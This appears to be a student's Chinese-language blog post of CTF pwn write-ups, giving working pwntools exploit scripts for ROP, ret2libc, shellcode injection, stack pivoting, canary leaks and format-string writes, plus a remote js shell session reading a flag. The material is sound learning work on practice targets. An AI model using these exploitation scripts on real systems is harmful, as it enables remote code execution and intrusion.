部分pwn题wp

主要是大二上刚开学做的题

2020moectf部分pwn

rop1

wp:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

sh = process('./rop1')
#context.log_level = 'debug'

sys = 0x400670
binsh = 0x00601070

p = 'a'*136 + p64(0x0400933) + p64(binsh) + p64(sys)
#400933为‘pop rdi,ret’
sh.sendline(p)
sh.interactive()

需要注意到,这题是x64的,跟x86的做法(ctfwiki-basicROP-ret2libc1)有些不同。
x64调用函数传递参数时先使用rdi、rsi、rdx、rcx、r8、r9(储存整数和指针)等,再用栈

rop2

wp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

sh = process('./rop2')
#context.log_level = 'debug'

sys = 0x0400670
gets = 0x04006b0
pop_rdi = 0x0400933
bss = 0x006010A8

p = 'a'*136 + p64(pop_rdi) + p64(bss) + p64(gets) + p64(pop_rdi) + p64(bss) + p64(sys)

sh.sendline(p)
sh.sendline('/bin/sh')
sh.interactive()

卡在少了最开始的p64(pop_rdi) + p64(bss)

学长的解释是:

1
改变rdi的gadget地址 使其指向bss段的那个地址 

unusual

用alpha3弄出一个Alphanumeric Shellcode

1
2
3
4
5
6
7
8
9
from pwn import *
context.arch='amd64'
sc = shellcraft.sh()
print asm(sc)
#sc.py

python sc.py > sc

python alpha3/ALPHA3.py x64 ascii mixedcase rax --input="sc"

hard_shelcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

context.arch = "amd64"
sh = process("./hard_shellcode")
sc = asm(shellcraft.sh())

sub_rsp = asm('sub rsp, 64')
jmp_rsp = asm('jmp rsp')
gadget = 0x04000EA

payload = sc + 'a'*(64-len(sc)) + sub_rsp + jmp_rsp + 'b'*(8-len(sub_rsp)-len(jmp_rsp)) + gadget
#payload = 'a'*16 + sc + sub_rsp + jmp_rsp + 'b'*(8-len(sub_rsp)-len(jmp_rsp)) + p64(gadget)
## sub rsp,48

sh.sendline(payload)

sh.interactive()

用gadget跳转到"sub_rsp,jmp_rsp"然后执行sc(shellcode)

baby_migration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context(os='linux',arch='amd64')
p = process("./baby_migration")

gets = 0x4011C8
rbp = 0x404060
#shell = asm(shellcraft.sh())
shell = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'

payload1 = "a"*0x30 + p64(rbp+300) + p64(gets)
payload2 = shell + 'b'*(0x30-len(shell)) + p64(rbp ) + p64(rbp+300-0x30)
p.recv()
p.sendline(payload1)
p.recv()
sleep(0)
p.sendline(payload2)
p.interactive()

https://bbs.pediy.com/thread-258030.htm

https://blog.csdn.net/yuanyunfeng3/article/details/51456049

1
栈迁移 的核心思想就是 将栈 的 esp 和 ebp 转移到一个 输入不受长度限制的 且可控制 的 址处,通常是 bss 段地址! 在最后 ret 的时候 如果我们能够控制得 了 栈顶 esp指向的地址 就想到于 控制了 程序执行流!

用pwntolls生成的shellcode执行不了,可能是因为太长?

baby_canary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
#context.log_level = "debug"

#p = process("./baby_canary")
p = remote('sec.arttnba3.cn',10003)

elf = ELF("./baby_canary")
libc = ELF("/home/pluto/Desktop/libc.so.6")

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
start = elf.symbols['_start']

p.recv()
payload1 = 'a'*0x41
p.send(payload1) #dont use sendline
p.recvuntil(payload1)

canary = u32('\x00'+p.recv(3))
p.recv()
payload2 = 'b'*0x40 + p32(canary) + 'b'*8 + 'a'*4 + p32(puts_plt) + p32(start) + p32(puts_got)
p.send(payload2)
p.recvuntil("flag!\n")


puts_addr = u32(p.recv(4))

base_addr = puts_addr - libc.sym['puts']
sys_addr = base_addr + libc.sym['system']
binsh = base_addr + libc.search('/bin/sh').next()

p.send(payload1)
payload3 = 'b'*0x40 + p32(canary) + 'b'*0xc + p32(sys_addr) + 'a'*4 + p32(binsh)
p.send(payload3)

p.interactive()

在覆盖’\x00’得到canary时不能用sendline

这题在本地弄不出来,在远程上就可以。发现是用的libc不一样,本机为libc6-i386_2.21-0ubuntu4_amd64,服务器上是libc6-i386_2.23-0ubuntu11.2_amd64

ctfwiki

ROP

ret2libc3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
p = process("./ret2libc3")
elf = ELF("./ret2libc3")
p.recv()
stack = 'a'*112
puts_plt = elf.plt["puts"]
main_plt = elf.symbols["_start"]
puts_got = elf.got['puts']

payload1 = stack + p32(puts_plt) + p32(main_plt) + p32(puts_got)
p.sendline(payload1)
recv1 = u32(p.recv()[0:4])

print("puts.got_addr= ",hex(recv1))
#puts.got = cb0
#

puts_offset = 0x05fcb0
sys_offset = 0x03adb0
binsh_offset = 0x15bb0b

libc_base = recv1 - puts_offset
sys_addr = libc_base + sys_offset
binsh = libc_base + binsh_offset

payload2 = stack + p32(sys_addr) + 'b'*4 + p32(binsh)

p.sendline(payload2)
p.interactive()

libc 对应的是libc6_2.23-0ubuntu11.2_i386,对此是完全没想到的…

讲的挺好的https://www.jianshu.com/p/83f55c55c173

XCTF进阶

实时数据监测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
context(os='linux',arch='amd64')
p = remote("220.249.52.133", 35866)

def fmt(prev, word, index):
if prev < word:
result = word - prev
fmtstr = "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr


def fmt_str(offset, size, addr, target):
payload = ""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload
payload = fmt_str(12,4,0x0804a048,0x02223322)

p.sendline(payload)
p.interactive()

https://www.dazhuanlan.com/2019/11/07/5dc3d67635dfe/

用ctfwiki提供的脚本比较快,自己试挺麻烦的…(还是不太熟练

welpwn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
context.log_level = 'debug'
context(os='linux',arch='amd64')
#p = process("./8")
p = remote("220.249.52.133", 32410)
elf = ELF("./8")

write_got = elf.got['write']
puts_plt = elf.plt['puts']


#libc6_2.23-0ubuntu10_amd64
sys_off = 0x045390
write_off = 0x0f72b0
binsh_off = 0x18cd57

pop = 0x40089c
pop_rdi = 0x04008a3

p.recv()

payload = "a"*0x18 + p64(pop) + p64(pop_rdi) + p64(write_got) + p64(puts_plt) + p64(0x4007CD)
#0x18+pop(8个字节)用于复制(下一个函数)后填充第二个栈到返回地址,然后将write的got表pop到rdi,用puts输出,返回到main函数的开头,设置环境
p.sendline(payload)

#write_addr = p.recvuntil("\\")
print p.recvuntil("\x40")
write_addr = u64(p.recv(6).ljust(8,'\00'))
write_addr = int(write_addr)
print write_addr
base = write_addr - write_off
sys = base + sys_off
binsh = binsh_off + base

payload2 = "a"*0x18 + p64(pop) + p64(pop_rdi) + p64(binsh) + p64(sys)

p.recv()
p.sendline(payload2)

p.interactive()

好像服务器上和本地程序用的libc又不一样…所以连接完远程服务器后再获得一次write的got表,然后找到libc版本

主要学到了这个方法:

1
write_addr = u64(p.recv(6).ljust(8,'\00'))

将接收到的数字左对齐,并用’\00’填充为8位,

参考:https://muzibing.github.io/2020/06/12/2020.06.12(125)

monkey

考察js shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pluto@pluto-virtual-machine:~/Desktop$ nc 220.249.52.133 56451
js> os.system("pwd")
os.system("pwd")
/home/ctf
js> os.system("ls")
os.system("ls")
bin
dev
flag
js
lib
lib32
lib64
libnspr4.so
libplc4.so
libplds4.so
run.sh
js> os.system("cat flag")
os.system("cat flag")
cyberpeace{xxxxxxx}